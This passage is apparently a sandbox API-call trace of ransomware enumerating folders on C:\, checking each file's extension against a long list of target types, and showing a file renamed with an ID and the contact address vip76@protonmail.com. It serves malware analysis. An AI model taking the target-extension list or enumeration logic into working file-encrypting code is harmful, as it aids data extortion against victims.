	[0165.207] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dif") returned 4
	[0165.207] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".divx") returned 5
	[0165.208] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".djvu") returned 5
	[0165.208] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".dng") returned 4
	[0165.208] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".doc") returned 4
	[0165.208] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".docm") returned 5
	[0165.208] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".docx") returned 5
	[0165.208] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".dot") returned 4
	[0165.208] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dotm") returned 5
	[0165.208] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".dotx") returned 5
	[0165.208] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.208] lstrlenW (lpString=".dpx") returned 4
	[0165.208] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dqy") returned 4
	[0165.208] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dsn") returned 4
	[0165.208] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dt") returned 3
	[0165.208] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.208] lstrlenW (lpString=".dtd") returned 4
	[0165.208] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dwg") returned 4
	[0165.208] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dwt") returned 4
	[0165.208] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.208] lstrlenW (lpString=".dx") returned 3
	[0165.209] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.209] lstrlenW (lpString=".dxf") returned 4
	[0165.209] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".edml") returned 5
	[0165.209] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.209] lstrlenW (lpString=".efd") returned 4
	[0165.209] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".elf") returned 4
	[0165.209] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".emf") returned 4
	[0165.209] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".emz") returned 4
	[0165.209] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".epf") returned 4
	[0165.209] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".eps") returned 4
	[0165.209] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".epsf") returned 5
	[0165.209] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.209] lstrlenW (lpString=".epsp") returned 5
	[0165.209] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.209] lstrlenW (lpString=".erf") returned 4
	[0165.209] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".exr") returned 4
	[0165.209] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".f4v") returned 4
	[0165.209] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".fido") returned 5
	[0165.209] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.209] lstrlenW (lpString=".flm") returned 4
	[0165.209] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".flv") returned 4
	[0165.209] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.209] lstrlenW (lpString=".frm") returned 4
	[0165.210] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".fxg") returned 4
	[0165.210] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".geo") returned 4
	[0165.210] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".gif") returned 4
	[0165.210] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".grs") returned 4
	[0165.210] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".gz") returned 3
	[0165.210] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.210] lstrlenW (lpString=".h") returned 2
	[0165.210] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.210] lstrlenW (lpString=".hdr") returned 4
	[0165.210] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".hpp") returned 4
	[0165.210] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".hta") returned 4
	[0165.210] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".htc") returned 4
	[0165.210] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".htm") returned 4
	[0165.210] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.210] lstrlenW (lpString=".html") returned 5
	[0165.210] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.210] lstrlenW (lpString="desktop.ini.id-B4197730.[vip76@protonmail.com].html") returned 51
	[0165.210] lstrlenW (lpString=".html") returned 5
	[0165.210] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.210] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80618e80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 0
	[0165.210] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.210] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.211] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0165.211] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0165.211] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.212] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0165.212] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0165.212] lstrlenW (lpString=".1cd") returned 4
	[0165.212] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0165.212] lstrlenW (lpString=".3ds") returned 4
	[0165.212] lstrcmpiW (lpString1=".3ds", lpString2="RKER") returned -1
	[0165.212] lstrlenW (lpString=".3fr") returned 4
	[0165.212] lstrcmpiW (lpString1=".3fr", lpString2="RKER") returned -1
	[0165.212] lstrlenW (lpString=".3g2") returned 4
	[0165.212] lstrcmpiW (lpString1=".3g2", lpString2="RKER") returned -1
	[0165.212] lstrlenW (lpString=".3gp") returned 4
	[0165.212] lstrcmpiW (lpString1=".3gp", lpString2="RKER") returned -1
	[0165.212] lstrlenW (lpString=".7z") returned 3
	[0165.212] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0165.212] lstrlenW (lpString=".accda") returned 6
	[0165.212] lstrcmpiW (lpString1=".accda", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".accdb") returned 6
	[0165.212] lstrcmpiW (lpString1=".accdb", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".accdc") returned 6
	[0165.212] lstrcmpiW (lpString1=".accdc", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".accde") returned 6
	[0165.212] lstrcmpiW (lpString1=".accde", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".accdt") returned 6
	[0165.212] lstrcmpiW (lpString1=".accdt", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".accdw") returned 6
	[0165.212] lstrcmpiW (lpString1=".accdw", lpString2="MARKER") returned -1
	[0165.212] lstrlenW (lpString=".adb") returned 4
	[0165.213] lstrcmpiW (lpString1=".adb", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".adp") returned 4
	[0165.213] lstrcmpiW (lpString1=".adp", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai") returned 3
	[0165.213] lstrcmpiW (lpString1=".ai", lpString2="KER") returned -1
	[0165.213] lstrlenW (lpString=".ai3") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai3", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai4") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai4", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai5") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai5", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai6") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai6", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai7") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai7", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ai8") returned 4
	[0165.213] lstrcmpiW (lpString1=".ai8", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".anim") returned 5
	[0165.213] lstrcmpiW (lpString1=".anim", lpString2="ARKER") returned -1
	[0165.213] lstrlenW (lpString=".arw") returned 4
	[0165.213] lstrcmpiW (lpString1=".arw", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".as") returned 3
	[0165.213] lstrcmpiW (lpString1=".as", lpString2="KER") returned -1
	[0165.213] lstrlenW (lpString=".asa") returned 4
	[0165.213] lstrcmpiW (lpString1=".asa", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".asc") returned 4
	[0165.213] lstrcmpiW (lpString1=".asc", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".ascx") returned 5
	[0165.213] lstrcmpiW (lpString1=".ascx", lpString2="ARKER") returned -1
	[0165.213] lstrlenW (lpString=".asm") returned 4
	[0165.213] lstrcmpiW (lpString1=".asm", lpString2="RKER") returned -1
	[0165.213] lstrlenW (lpString=".asmx") returned 5
	[0165.213] lstrcmpiW (lpString1=".asmx", lpString2="ARKER") returned -1
	[0165.213] lstrlenW (lpString=".asp") returned 4
	[0165.214] lstrcmpiW (lpString1=".asp", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".aspx") returned 5
	[0165.214] lstrcmpiW (lpString1=".aspx", lpString2="ARKER") returned -1
	[0165.214] lstrlenW (lpString=".asr") returned 4
	[0165.214] lstrcmpiW (lpString1=".asr", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".asx") returned 4
	[0165.214] lstrcmpiW (lpString1=".asx", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".avi") returned 4
	[0165.214] lstrcmpiW (lpString1=".avi", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".avs") returned 4
	[0165.214] lstrcmpiW (lpString1=".avs", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".backup") returned 7
	[0165.214] lstrcmpiW (lpString1=".backup", lpString2=".MARKER") returned -1
	[0165.214] lstrlenW (lpString=".bak") returned 4
	[0165.214] lstrcmpiW (lpString1=".bak", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".bay") returned 4
	[0165.214] lstrcmpiW (lpString1=".bay", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".bd") returned 3
	[0165.214] lstrcmpiW (lpString1=".bd", lpString2="KER") returned -1
	[0165.214] lstrlenW (lpString=".bin") returned 4
	[0165.214] lstrcmpiW (lpString1=".bin", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".bmp") returned 4
	[0165.214] lstrcmpiW (lpString1=".bmp", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".bz2") returned 4
	[0165.214] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".c") returned 2
	[0165.214] lstrcmpiW (lpString1=".c", lpString2="ER") returned -1
	[0165.214] lstrlenW (lpString=".cdr") returned 4
	[0165.214] lstrcmpiW (lpString1=".cdr", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".cer") returned 4
	[0165.214] lstrcmpiW (lpString1=".cer", lpString2="RKER") returned -1
	[0165.214] lstrlenW (lpString=".cf") returned 3
	[0165.214] lstrcmpiW (lpString1=".cf", lpString2="KER") returned -1
	[0165.215] lstrlenW (lpString=".cfc") returned 4
	[0165.215] lstrcmpiW (lpString1=".cfc", lpString2="RKER") returned -1
	[0165.215] lstrlenW (lpString=".cfm") returned 4
	[0165.215] lstrcmpiW (lpString1=".cfm", lpString2="RKER") returned -1
	[0165.215] lstrlenW (lpString=".cfml") returned 5
	[0165.215] lstrcmpiW (lpString1=".cfml", lpString2="ARKER") returned -1
	[0165.215] lstrlenW (lpString=".cfu") returned 4
	[0165.215] lstrcmpiW (lpString1=".cfu", lpString2="RKER") returned -1
	[0165.215] lstrlenW (lpString=".chm") returned 4
	[0165.215] lstrcmpiW (lpString1=".chm", lpString2="RKER") returned -1
	[0165.215] lstrlenW (lpString=".cin") returned 4
	[0165.215] lstrcmpiW (lpString1=".cin", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".class") returned 6
	[0165.285] lstrcmpiW (lpString1=".class", lpString2="MARKER") returned -1
	[0165.285] lstrlenW (lpString=".clx") returned 4
	[0165.285] lstrcmpiW (lpString1=".clx", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".config") returned 7
	[0165.285] lstrcmpiW (lpString1=".config", lpString2=".MARKER") returned -1
	[0165.285] lstrlenW (lpString=".cpp") returned 4
	[0165.285] lstrcmpiW (lpString1=".cpp", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".cr2") returned 4
	[0165.285] lstrcmpiW (lpString1=".cr2", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".crt") returned 4
	[0165.285] lstrcmpiW (lpString1=".crt", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".crw") returned 4
	[0165.285] lstrcmpiW (lpString1=".crw", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".cs") returned 3
	[0165.285] lstrcmpiW (lpString1=".cs", lpString2="KER") returned -1
	[0165.285] lstrlenW (lpString=".css") returned 4
	[0165.285] lstrcmpiW (lpString1=".css", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".csv") returned 4
	[0165.285] lstrcmpiW (lpString1=".csv", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".cub") returned 4
	[0165.285] lstrcmpiW (lpString1=".cub", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".dae") returned 4
	[0165.285] lstrcmpiW (lpString1=".dae", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".dat") returned 4
	[0165.285] lstrcmpiW (lpString1=".dat", lpString2="RKER") returned -1
	[0165.285] lstrlenW (lpString=".db") returned 3
	[0165.285] lstrcmpiW (lpString1=".db", lpString2="KER") returned -1
	[0165.285] lstrlenW (lpString=".dbf") returned 4
	[0165.285] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dbx") returned 4
	[0165.286] lstrcmpiW (lpString1=".dbx", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dc3") returned 4
	[0165.286] lstrcmpiW (lpString1=".dc3", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dcm") returned 4
	[0165.286] lstrcmpiW (lpString1=".dcm", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dcr") returned 4
	[0165.286] lstrcmpiW (lpString1=".dcr", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".der") returned 4
	[0165.286] lstrcmpiW (lpString1=".der", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dib") returned 4
	[0165.286] lstrcmpiW (lpString1=".dib", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dic") returned 4
	[0165.286] lstrcmpiW (lpString1=".dic", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dif") returned 4
	[0165.286] lstrcmpiW (lpString1=".dif", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".divx") returned 5
	[0165.286] lstrcmpiW (lpString1=".divx", lpString2="ARKER") returned -1
	[0165.286] lstrlenW (lpString=".djvu") returned 5
	[0165.286] lstrcmpiW (lpString1=".djvu", lpString2="ARKER") returned -1
	[0165.286] lstrlenW (lpString=".dng") returned 4
	[0165.286] lstrcmpiW (lpString1=".dng", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".doc") returned 4
	[0165.286] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".docm") returned 5
	[0165.286] lstrcmpiW (lpString1=".docm", lpString2="ARKER") returned -1
	[0165.286] lstrlenW (lpString=".docx") returned 5
	[0165.286] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0165.286] lstrlenW (lpString=".dot") returned 4
	[0165.286] lstrcmpiW (lpString1=".dot", lpString2="RKER") returned -1
	[0165.286] lstrlenW (lpString=".dotm") returned 5
	[0165.287] lstrcmpiW (lpString1=".dotm", lpString2="ARKER") returned -1
	[0165.287] lstrlenW (lpString=".dotx") returned 5
	[0165.287] lstrcmpiW (lpString1=".dotx", lpString2="ARKER") returned -1
	[0165.287] lstrlenW (lpString=".dpx") returned 4
	[0165.287] lstrcmpiW (lpString1=".dpx", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dqy") returned 4
	[0165.287] lstrcmpiW (lpString1=".dqy", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dsn") returned 4
	[0165.287] lstrcmpiW (lpString1=".dsn", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dt") returned 3
	[0165.287] lstrcmpiW (lpString1=".dt", lpString2="KER") returned -1
	[0165.287] lstrlenW (lpString=".dtd") returned 4
	[0165.287] lstrcmpiW (lpString1=".dtd", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dwg") returned 4
	[0165.287] lstrcmpiW (lpString1=".dwg", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dwt") returned 4
	[0165.287] lstrcmpiW (lpString1=".dwt", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".dx") returned 3
	[0165.287] lstrcmpiW (lpString1=".dx", lpString2="KER") returned -1
	[0165.287] lstrlenW (lpString=".dxf") returned 4
	[0165.287] lstrcmpiW (lpString1=".dxf", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".edml") returned 5
	[0165.287] lstrcmpiW (lpString1=".edml", lpString2="ARKER") returned -1
	[0165.287] lstrlenW (lpString=".efd") returned 4
	[0165.287] lstrcmpiW (lpString1=".efd", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".elf") returned 4
	[0165.287] lstrcmpiW (lpString1=".elf", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".emf") returned 4
	[0165.287] lstrcmpiW (lpString1=".emf", lpString2="RKER") returned -1
	[0165.287] lstrlenW (lpString=".emz") returned 4
	[0165.288] lstrcmpiW (lpString1=".emz", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".epf") returned 4
	[0165.288] lstrcmpiW (lpString1=".epf", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".eps") returned 4
	[0165.288] lstrcmpiW (lpString1=".eps", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".epsf") returned 5
	[0165.288] lstrcmpiW (lpString1=".epsf", lpString2="ARKER") returned -1
	[0165.288] lstrlenW (lpString=".epsp") returned 5
	[0165.288] lstrcmpiW (lpString1=".epsp", lpString2="ARKER") returned -1
	[0165.288] lstrlenW (lpString=".erf") returned 4
	[0165.288] lstrcmpiW (lpString1=".erf", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".exr") returned 4
	[0165.288] lstrcmpiW (lpString1=".exr", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".f4v") returned 4
	[0165.288] lstrcmpiW (lpString1=".f4v", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".fido") returned 5
	[0165.288] lstrcmpiW (lpString1=".fido", lpString2="ARKER") returned -1
	[0165.288] lstrlenW (lpString=".flm") returned 4
	[0165.288] lstrcmpiW (lpString1=".flm", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".flv") returned 4
	[0165.288] lstrcmpiW (lpString1=".flv", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".frm") returned 4
	[0165.288] lstrcmpiW (lpString1=".frm", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".fxg") returned 4
	[0165.288] lstrcmpiW (lpString1=".fxg", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".geo") returned 4
	[0165.288] lstrcmpiW (lpString1=".geo", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".gif") returned 4
	[0165.288] lstrcmpiW (lpString1=".gif", lpString2="RKER") returned -1
	[0165.288] lstrlenW (lpString=".grs") returned 4
	[0165.288] lstrcmpiW (lpString1=".grs", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".gz") returned 3
	[0165.289] lstrcmpiW (lpString1=".gz", lpString2="KER") returned -1
	[0165.289] lstrlenW (lpString=".h") returned 2
	[0165.289] lstrcmpiW (lpString1=".h", lpString2="ER") returned -1
	[0165.289] lstrlenW (lpString=".hdr") returned 4
	[0165.289] lstrcmpiW (lpString1=".hdr", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".hpp") returned 4
	[0165.289] lstrcmpiW (lpString1=".hpp", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".hta") returned 4
	[0165.289] lstrcmpiW (lpString1=".hta", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".htc") returned 4
	[0165.289] lstrcmpiW (lpString1=".htc", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".htm") returned 4
	[0165.289] lstrcmpiW (lpString1=".htm", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".html") returned 5
	[0165.289] lstrcmpiW (lpString1=".html", lpString2="ARKER") returned -1
	[0165.289] lstrlenW (lpString=".icb") returned 4
	[0165.289] lstrcmpiW (lpString1=".icb", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".ics") returned 4
	[0165.289] lstrcmpiW (lpString1=".ics", lpString2="RKER") returned -1
	[0165.289] lstrlenW (lpString=".iff") returned 4
	[0165.289] lstrcmpiW (lpString1=".iff", lpString2="RKER") returned -1
	[0165.289] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0165.290] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0165.290] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abd58
	[0165.411] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.412] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0165.412] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.412] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0165.413] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
